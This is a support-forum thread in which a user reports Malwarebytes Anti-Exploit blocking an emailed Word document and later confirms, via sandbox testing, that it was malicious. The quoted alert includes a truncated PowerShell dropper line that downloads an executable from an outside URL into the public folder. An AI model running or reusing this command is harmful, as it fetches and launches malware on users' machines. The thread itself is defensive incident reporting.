Jump to content
sniderit

Malwarebytes Anti-Exploit is blocking Word documents from email

Recommended Posts

When trying to open a file in Word that I downloaded via email, I get a pop-up saying that Malwarebytes Anti-Exploit has blocked an exploit attempt.

Application: cmd

Protection Layer: Application Behavior Protection

Protection Technique: Exploit payload process blocked

File/Process Blocked: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $FPF=new-object Net.WebClient$uIo='http:\potuansdqwbe.com\YUY\huonasdh.php?l=dg3.tkn'.Split('@')$tWW = '39'$rsf=$env:public+'\'+$tWW+'.exe'foreach($srf in $uIo){try{$FPF.DownloadFile($sr

Attacking URL: N/A

 

I've attached the logs from the PC. I'm not sure if this is an actual threat or Anti-Exploit flagging things as false-positives. Any help would be appreciated.

Malwarebytes Anti-Exploit.zip

Share this post


Link to post
Share on other sites

Yes, I ran pulled it onto a test computer with Sandboxie after I read your post and it looks like it is full of bad stuff. I've notified all users and advised them to contact their own network admins. Thanks for responding!

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...

Important Information

This site uses cookies - We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.